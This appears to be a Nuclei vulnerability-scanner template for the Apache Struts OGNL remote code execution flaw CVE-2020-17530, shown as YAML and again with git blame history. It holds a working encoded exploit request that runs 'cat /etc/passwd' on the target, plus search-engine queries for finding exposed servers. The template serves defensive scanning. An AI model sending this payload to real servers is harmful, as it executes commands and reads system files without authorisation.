nuclei-templates/http/cves/2020/CVE-2020-17530.yaml

id: CVE-2020-17530

info:
  name: Apache Struts 2.0.0-2.5.25 - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: Apache Struts 2.0.0 through Struts 2.5.25 is susceptible to remote code execution because forced OGNL evaluation, when evaluated on raw user input in tag attributes, may allow it.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected server.
  remediation: |
    Apply the latest security patches or upgrade to a non-vulnerable version of Apache Struts.
  reference:
    - http://packetstormsecurity.com/files/160721/Apache-Struts-2-Forced-Multi-OGNL-Evaluation.html
    - http://jvn.jp/en/jp/JVN43969166/index.html
    - https://cwiki.apache.org/confluence/display/WW/S2-061
    - https://security.netapp.com/advisory/ntap-20210115-0005/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-17530
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-17530
    cwe-id: CWE-917
    epss-score: 0.97232
    epss-percentile: 0.99826
    cpe: cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: struts
    shodan-query: http.html:"apache struts"
    fofa-query: body="struts problem report"
    google-query: intitle:"struts2 showcase"
  tags: cve,cve2020,apache,rce,struts,kev,packetstorm

http:
  - method: GET
    path:
      - "{{BaseURL}}/?id=%25%7B%28%23instancemanager%3D%23application%5B%22org.apache.tomcat.InstanceManager%22%5D%29.%28%23stack%3D%23attr%5B%22com.opensymphony.xwork2.util.ValueStack.ValueStack%22%5D%29.%28%23bean%3D%23instancemanager.newInstance%28%22org.apache.commons.collections.BeanMap%22%29%29.%28%23bean.setBean%28%23stack%29%29.%28%23context%3D%23bean.get%28%22context%22%29%29.%28%23bean.setBean%28%23context%29%29.%28%23macc%3D%23bean.get%28%22memberAccess%22%29%29.%28%23bean.setBean%28%23macc%29%29.%28%23emptyset%3D%23instancemanager.newInstance%28%22java.util.HashSet%22%29%29.%28%23bean.put%28%22excludedClasses%22%2C%23emptyset%29%29.%28%23bean.put%28%22excludedPackageNames%22%2C%23emptyset%29%29.%28%23arglist%3D%23instancemanager.newInstance%28%22java.util.ArrayList%22%29%29.%28%23arglist.add%28%22cat+%2Fetc%2Fpasswd%22%29%29.%28%23execute%3D%23instancemanager.newInstance%28%22freemarker.template.utility.Execute%22%29%29.%28%23execute.exec%28%23arglist%29%29%7D"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
# digest: 4b0a00483046022100c95df7b80a699a5c469efd05763166e9336345788dcb921f4d7554984ab97434022100ab616a6d4e61409d715aaf95f946dc4cbdf01bcd1eee0e5b82da8de762627444:922c64590222798bb761d5b6d8e72950
Create CVE-2020-17530.yaml 2021-01-27 18:47:58 +00:00			`id: CVE-2020-17530`

			`info:`
Dashboard Content Enhancements (#4268) Dashboard Content Enhancements 2022-04-29 19:58:07 +00:00			`name: Apache Struts 2.0.0-2.5.25 - Remote Code Execution`
Create CVE-2020-17530.yaml 2021-01-27 18:47:58 +00:00			`author: pikpikcu`
			`severity: critical`
Dashboard Content Enhancements (#4268) Dashboard Content Enhancements 2022-04-29 19:58:07 +00:00			`description: Apache Struts 2.0.0 through Struts 2.5.25 is susceptible to remote code execution because forced OGNL evaluation, when evaluated on raw user input in tag attributes, may allow it.`
Added Impact 2023-09-27 15:51:13 +00:00			`impact: \|`
			`Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected server.`
updated 2020 CVEs 2023-09-06 12:22:36 +00:00			`remediation: \|`
			`Apply the latest security patches or upgrade to a non-vulnerable version of Apache Struts.`
Removed pipe (\|) character from references, because the structure requires it to be a string slice, not a string Related nuclei tickets: * #259 - dynamic key-value field support for template information * #940 - new infos in template * #834 * RES-84 2021-08-18 11:37:49 +00:00			`reference:`
Put references and a description 2021-03-11 14:23:41 +00:00			`- http://packetstormsecurity.com/files/160721/Apache-Struts-2-Forced-Multi-OGNL-Evaluation.html`
			`- http://jvn.jp/en/jp/JVN43969166/index.html`
			`- https://cwiki.apache.org/confluence/display/WW/S2-061`
			`- https://security.netapp.com/advisory/ntap-20210115-0005/`
Dashboard Content Enhancements (#4268) Dashboard Content Enhancements 2022-04-29 19:58:07 +00:00			`- https://nvd.nist.gov/vuln/detail/CVE-2020-17530`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`classification:`
			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`cvss-score: 9.8`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`cve-id: CVE-2020-17530`
			`cwe-id: CWE-917`
TemplateMan Update [Sat Mar 23 09:28:19 UTC 2024] :robot: 2024-03-23 09:28:19 +00:00			`epss-score: 0.97232`
			`epss-percentile: 0.99826`
updated 2020 CVEs 2023-09-06 12:22:36 +00:00			`cpe: cpe:2.3:a:apache:struts::::::::`
Added max request counter of each template 2023-04-28 08:11:21 +00:00			`metadata:`
			`max-request: 1`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`vendor: apache`
			`product: struts`
product/queries updated 2024-05-31 19:23:20 +00:00			`shodan-query: http.html:"apache struts"`
			`fofa-query: body="struts problem report"`
			`google-query: intitle:"struts2 showcase"`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`tags: cve,cve2020,apache,rce,struts,kev,packetstorm`
removing empty spaces 2021-03-11 20:16:35 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com> 2023-04-27 04:28:59 +00:00			`http:`
Create CVE-2020-17530.yaml 2021-01-27 18:47:58 +00:00			`- method: GET`
			`path:`
			- "{{BaseURL}}/?id=%25%7B%28%23instancemanager%3D%23application%5B%22org.apache.tomcat.InstanceManager%22%5D%29.%28%23stack%3D%23attr%5B%22com.opensymphony.xwork2.util.ValueStack.ValueStack%22%5D%29.%28%23bean%3D%23instancemanager.newInstance%28%22org.apache.commons.collections.BeanMap%22%29%29.%28%23bean.setBean%28%23stack%29%29.%28%23context%3D%23bean.get%28%22context%22%29%29.%28%23bean.setBean%28%23context%29%29.%28%23macc%3D%23bean.get%28%22memberAccess%22%29%29.%28%23bean.setBean%28%23macc%29%29.%28%23emptyset%3D%23instancemanager.newInstance%28%22java.util.HashSet%22%29%29.%28%23bean.put%28%22excludedClasses%22%2C%23emptyset%29%29.%28%23bean.put%28%22excludedPackageNames%22%2C%23emptyset%29%29.%28%23arglist%3D%23instancemanager.newInstance%28%22java.util.ArrayList%22%29%29.%28%23arglist.add%28%22cat+%2Fetc%2Fpasswd%22%29%29.%28%23execute%3D%23instancemanager.newInstance%28%22freemarker.template.utility.Execute%22%29%29.%28%23execute.exec%28%23arglist%29%29%7D"

			`matchers-condition: and`
			`matchers:`
			`- type: regex`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`part: body`
Create CVE-2020-17530.yaml 2021-01-27 18:47:58 +00:00			`regex:`
matcher update to handle edge cases 2021-07-24 21:35:55 +00:00			`- "root:.*:0:0:"`
Auto Template Signing [Sat Jun 1 06:52:59 UTC 2024] :robot: 2024-06-01 06:53:00 +00:00			`# digest: 4b0a00483046022100c95df7b80a699a5c469efd05763166e9336345788dcb921f4d7554984ab97434022100ab616a6d4e61409d715aaf95f946dc4cbdf01bcd1eee0e5b82da8de762627444:922c64590222798bb761d5b6d8e72950`